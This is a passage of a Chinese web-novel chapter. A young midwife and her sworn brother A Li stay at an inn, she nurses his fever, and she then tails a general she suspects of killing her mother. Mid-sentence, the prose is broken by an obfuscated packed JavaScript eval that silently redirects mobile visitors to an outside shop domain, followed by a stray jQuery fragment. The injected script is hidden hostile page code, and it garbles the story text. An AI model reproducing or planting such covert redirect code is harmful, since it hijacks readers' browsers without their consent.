“哪有!”苏皆安摇头:“这婚书是假的,之前,别人都说我是大凶之命,嫁不出去,为让我娘安心,我找元公子写了一张假婚书,现在我娘走了,也用不上了。找机会我还给人家。”
“元公子是谁?不会是你上次说的那才貌双全的那人吧?人家不会真的看上你了吧?”阿漓好奇。
“人家是富家公子,怎么可能看上我。”苏皆安急了。
“那你可看上他了?”阿漓追问。
“人家是江陵城大户人家的嫡子,相貌才学样样拔尖,我一个小稳婆,看上他也无济于事。”
苏皆觉得阿漓问得奇怪:“就算我看上他,关你什么事?”
“怎么不关我事?就凭你叫我阿漓哥哥!我现在可是你娘家人。你别忘了,你还要去洛都查真相,还要报仇。总之,没有我的允许,你不许嫁人。”
苏皆安斜睨阿漓一眼。
但他眼神奇怪得紧,不容她不应的模样。
她无奈嘟嘴:“行,我听娘家哥哥的。”
“那好。咱明日就去将婚书还给人家。”阿漓依旧奇怪地盯着她。
“好!还给人家!不过,咱们如此狼藉,先找个客栈收拾一下。”
苏皆安起身拉着阿漓,往春来客栈走去。
——
春来客栈门口,两盏明晃晃的四角灯笼,静静照亮寂静的街道。
苏皆安心疼住宿费,但也不敢再冒险露宿街头了。
阿漓的衣服沾满血迹,苏皆安从包袱里找出一件披风。
“这么多血,别把店家吓着了。”
她给他系上披风,挡住那些血迹。
二人走进去。
店内小二见是两个人,问道:“几间房?”
阿漓抢先道:“两间。”
“一间,就一间。”苏皆安陪着笑对小二道。
阿漓皱起魅眼:“你不是有银子吗?真是小气。”
苏皆安不好意思地觑一眼阿漓,尴尬笑笑,指着门外:“这都快天亮了,两间房实在是太浪费了。明日,明日再要两间房,如何?”
阿漓“嗯”了一声。
她这是真当他当哥哥了而不设防么?
二人走进房间。阿漓扫了一眼,房间内,只有一张床。
盖被有两条,可用一条做地铺。
阿漓拿起一条被子,走到离床远点的墙边。
说是远,不过也就几步的距离。
苏皆安见他欲打地铺,走过来,抢过他手里的被子:“你受了伤,你睡床!”
阿漓不允。
“这些日子我睡惯了地铺。阿漓哥哥可不想那么娇气。”
他瞪她一眼,又抱走她怀中的被子,摊开在墙角,睡了上去。
苏皆安实在太累,不再与他相争,一头栽倒在床上,她闷声道“我好困啊!”
接着,又忏悔道:“阿漓哥哥,都怪我,不该让你去城隍庙。”
阿漓躺在地上,安慰她道:“不怪你。就算不是城隍庙,也会是别的地方。好在他们都死了。你快睡吧。再过两个时辰,天就要亮了。”
苏皆安被阵阵困意席卷,轻轻“嗯”了一声,又迷迷糊糊地问道:“阿漓哥哥,你伤口还疼不疼?”
阿漓轻道:“不疼了。”
房间内安静下来,苏皆安发出了微微的鼾声。
阿漓勾唇,也闭上眼睛。
他的身体,疲惫得仿佛灌了铅。
可听着丫头微微的鼾声,不知为何,身体无端生出一丝丝莫名的燥意。
这燥意,搅得他无法入眠。
不知道过了多久,他又被昏昏沉沉的感觉占据。
夜色寂静。
窗外的月色照进房间。
阿漓躺在地上,眉头紧拧,喃喃地叫她:“丫头!”
苏皆安仿佛在梦中惊醒,她竖起身子:“阿漓哥哥?”
阿漓没有回应。
苏皆安躺下。忽又听见他紧张的声音:“丫头,快跑!”
苏皆安拧眉,阿漓哥哥这是做噩梦了吧?
苏皆安起身,走过去。
月光沐着阿漓。
她坐在他身侧,端详着他的脸。他的脸,不似平日里邪魅。
一张美人尖下巴,在夜色中,显出优雅的贵气。
但他长眉紧拧,脸上又露出孩子一般的惊惧神情。
她细一看,才发觉他额角全是汗。她抬起袖子,轻轻拭去他额头的汗珠。
他的身体似在微微颤抖。
他怎么了?苏皆安探他的额头。
竟发烧了。
深更半夜,不宜出门寻药。
墙边有一个盆。
她走过去,端起盆,打开门出去,打了一盆水。
进屋后,找出两条棉帕,打湿后,给阿漓擦拭额头、手心。
一遍又一遍。
待到天快亮时,见阿漓不发抖了,困意再次袭来。苏皆安靠在阿漓身侧的墙上,决定眯一会。
再睁开眼,天已微亮,阿漓的脸正对着她的脸,正眯着桃花眼看着她。
苏皆安打呵欠:“你醒了?”
伸手去摸他的额头,又摸摸自己的额头。
“不烧了。”她欣慰笑了。
“嗯,不烧了,看你,眼圈黑了。”
阿漓将她手中湿漉漉的棉帕拿到一边,坐靠在墙上,将她的脑袋轻轻摁在肩头,示意她靠在自己的肩头再睡一会儿。
苏皆安看着窗外亮色,摇了摇头。
她站起来,摸了摸肚子,叹道:“阿漓哥哥,不睡了。我饿了。咱去吃点东西吧?”
窗外,传来三三两两的吆喝声,有摊贩已经开始叫卖早食。
阿漓的肚子也咕咕叫了声。
他便也起身。
屋子里木盆里有水。
二人就着一盆水净手、擦脸,理了理衣裳。
阿漓的衣裳很多血,十分狼狈,得换。
苏皆安:“我在外面等你。”似又想起什么:“你有伤,可能自己换衣服?”
阿漓看着她晶亮的眸子,轻声道:“嗯。”
换好衣服,阿漓出来。他披散着一头凌乱的齐腰墨发,似比刚才还狼藉。
“你的头发?”苏皆安瞠目。
阿漓浑然不觉:“我刚才准备重新束一下头发,结果,肩膀疼。”说着,要苏皆安出去吃饭。
苏皆安忙不迭将阿漓一把拉回到屋内:“你若这个样子出去,别人准
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746515|208199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
以为我欺负了你。”
她将阿漓按到椅子上坐下来,吩咐他坐直,将他的脑袋扶正,用手指当梳子,迅速将他的头发一缕缕合拢起来。
她的手指纤长、细腻,似玉一般的凉润。
阿漓身子微颤。
片刻间,她已经用发带将他的头发束成了一个高高的发髻。
束好后,苏皆安上下打量了阿漓一眼,揶揄:“不错,这样看上去清爽、俊俏。我怎么觉得自己像你娘了?”
阿漓眉峰蹙起,手指忽地弹了一下她的额头:“不许提我娘。我娘可从来没替我束过发。”
“哎哟!疼!”
苏皆安手摸吃痛的脑袋,瞪他。
“馄饨,又香又嫩的馄饨!”叫卖声传来,二人齐望向窗外。
~
春来客栈外,街道上行人来来往往。
客栈拐角处的馄饨摊上,苏皆安端起碗来,啜了一小口热汤,又咬了一口馄饨。
仿佛吃到了人间的极致美味似的,她啧啧道:“嗯,真是美味,又滑又嫩。阿漓,你怎么不吃?”
阿漓的目光从她满足又可爱的吃相中收回来,他拿起筷子,夹一只馄饨,送去口中,看着她,唇角微微上扬:“嗯,味道不错。”
片刻,他收回目光,也狼吞虎咽地吃了起来。
饿鬼捕食般!
“你慢点吃,没人跟你抢。”苏皆安看他一眼,宠溺地笑着。
骤然间,她的笑凝固了。
视线越过阿漓,街对面,一个身姿挺拔,穿着玄青色锦袍的青年撞入眼中。
他气质凛冽,腰间悬挂一把长剑,身后跟着两个穿着青衣的侍卫。
是他,晏南凌!他竟还在江陵?
苏皆安的身子开始颤抖。
“阿漓,你先去吃。我有事!”说着,将一块碎银放到阿漓手里,钻进人群,跟了过去。
见她如此心急,阿漓哪里还有心情吃馄饨,他放下筷子,起身跟在她的身后。
苏皆安跟着晏南凌,穿过人群,又穿过几条街道,最后,在一栋气派的府邸停了下来。
苏皆安抬头望去,看到牌匾上写着大大的两个字~“元府”。
远远地,晏南凌身边那个高个子青衣侍卫跟门房掏出一块令牌,说了几句什么,一行人便走了进去。
苏皆安脸色变白。
“丫头,他们几个是谁?”阿漓站在她身侧,顺着她的视线看过去。
苏皆安喃喃道:“晏南凌,或许是我的杀母仇人。”
阿漓眸色讶异:“你说什么?是晏南凌杀了你娘?大偃那个威名赫赫的将军?”
“也许是,也许不是。我现在不太确定。不过,我娘被害那日,他就在现场。无论如何,我娘的死,或多或少与他都脱不了干系,我须找他问个明白。”
苏皆安双眸微润:“阿漓,我给娘亲报仇,或许危险重重。你先回客栈,我去元府一特别趟。晏南凌有官职在身,大庭广众之下,他不能对我做什么。只是,他毕竟是朝廷高官,有权有势,若他真是凶手,我不想连累你。”
阿漓伸指头弹她,眯着魅眼:“丫头,你的事,就是我的事。就算他是高官,你阿漓哥哥一身武艺,可不是吃素的!”